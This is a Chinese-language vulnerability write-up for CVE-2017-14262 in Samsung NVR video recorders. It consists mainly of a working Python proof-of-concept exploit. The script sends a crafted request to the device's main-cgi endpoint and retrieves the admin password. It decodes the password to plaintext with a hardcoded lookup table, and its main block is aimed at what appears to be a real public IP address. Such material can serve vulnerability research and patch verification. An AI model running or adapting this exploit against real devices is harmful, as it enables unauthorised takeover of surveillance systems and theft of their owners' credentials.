(CVE-2017-14262)Samsung NVR devices 漏洞

一、漏洞简介

Samsung NVR devices是韩国三星(Samsung)公司的一款网络视频录像机设备。 Samsung NVR设备中存在安全漏洞。远程攻击者可利用该漏洞读取管理员账户的MD5密码散列,并登录设备。

二、漏洞影响

三、复现过程

poc

#!/usr/bin/env python
# -*- coding:utf-8 -*-

from collections import OrderedDict
from itertools import takewhile
import requests


class SamsungNVR(object):
    """
    此漏洞三星和 uniview 都有
    """
    vul_info = {
        "title": "Samsung NVR设备安全漏洞",
        "cve": "CVE-2017-14262",
        "desc": "Samsung NVR devices是韩国三星(Samsung)公司的一款网络视频录像机设备。"
                "Samsung NVR设备中存在安全漏洞。远程攻击者可利用该漏洞读取管理员账户的MD5密码散列,并登录设备。"
    }

    pass_index = OrderedDict(
        [(1, 1), (9192090, 2), (1020910, 3), (25549780, 4), (24507899, 5), (16119889, 6), (9428219, 7), (2281891, 8),
         (10861120, 9), (15331742, 10), (22464897, 11), (24403461, 12), (13833575, 13), (16061285, 14), (10721046, 15),
         (16593252, 16), (22051260, 17), (16638739, 18), (6666540, 19), (9283102, 20), (18791719, 21), (25905184, 22),
         (2762182, 23), (12911758, 24), (21944959, 25), (10257708, 26), (894574, 27), (16004987, 28), (12850146, 29),
         (8043423, 30), (7835618, 31), (18372773, 32), (9417841, 33), (18658565, 34), (10330028, 35), (13289156, 36),
         (23739388, 37), (12401865, 38), (15005445, 39), (10176399, 40), (10776092, 41), (16860945, 42), (5353890, 43),
         (2688051, 44), (39030, 45), (18708319, 46), (23920727, 47), (4762271, 48), (24294435, 49), (16720763, 50),
         (21207445, 51), (20598600, 52), (13303854, 53), (2666164, 54), (19813766, 55), (16041010, 56), (3127839, 57),
         (25260962, 58), (15859882, 59), (23452596, 60), (11396657, 61), (18994119, 62), (12423246, 63), (21498126, 64),
         (23593931, 65), (9818447, 66), (14937061, 67), (24683641, 68), (11058089, 69), (12800298, 70), (133183, 71),
         (26013724, 72), (19021449, 73), (25487361, 74), (3426696, 75), (22326185, 76), (9151922, 77), (20416123, 78),
         (13876302, 79), (497003, 80), (18662430, 81), (7306818, 82), (24323487, 83), (26110937, 84),
         (5380058, 85), (21481095, 86), (9540458, 87), (14123621, 88), (6847253, 89), (7638896, 90),
         (22385568, 91), (1208753, 92), (15383366, 93), (24719837, 94), (26729699, 95), (3594142, 96),
         (371291, 97), (23345327, 98), (4415431, 99), (6477625, 100), (4733341, 101), (13423221, 102),
         (24215867, 103), (7503741, 104), (6390751, 105), (10192199, 106), (10352855, 107), (22393893, 108),
         (7198498, 109), (12838108, 110), (5515125, 111), (7229843, 112), (13872090, 113), (21671745, 114),
         (12457317, 115), (26153875, 116), (14327497, 117), (11382568, 118), (10132668, 119), (20086929, 120),
         (8117696, 121), (2098389, 122), (21553350, 123), (23391670, 124), (25350683, 125), (25970062, 126),
         (6959731, 127), (16338714, 128)])

    @classmethod
    def decrypt_password(cls, json_resp):
        """解密管理员账户密码"""
        try:
            au_pwd = takewhile(lambda x: x != 0, json_resp["au32LoginPasswd"])
            password = "".join(chr(cls.pass_index[pwd_int]) for pwd_int in au_pwd)
        except KeyError:
            password = ""
        return password

    def __init__(self, ip: str, port: int):
        self._base_url = f"http://{ip}:{port}"

    def verify(self):

        vul_path = '/cgi-bin/main-cgi?json={"cmd":201,"szUserName_Qry":"admin","szUserName":"","u32UserLoginHandle":0}'
        url = self._base_url + vul_path
        try:
            req = requests.get(url, timeout=10)
            if req.status_code == 200:
                res_json = req.json()
                hash_pass = res_json.get("szLoginPasswd", "")
                if hash_pass:
                    plain_pass = self.decrypt_password(res_json)
                    if plain_pass:
                        return {"user": "admin", "password": plain_pass}
        except Exception as e:
            print(e)


if __name__ == '__main__':
    vul = SamsungNVR("117.158.178.49", 84)
    vulres = vul.verify()
    print(f"[-] {vul.vul_info}")
    if vulres:
        print(f"[+] 存在漏洞:{vulres}")
    else:
        print("[-] 不存在漏洞。")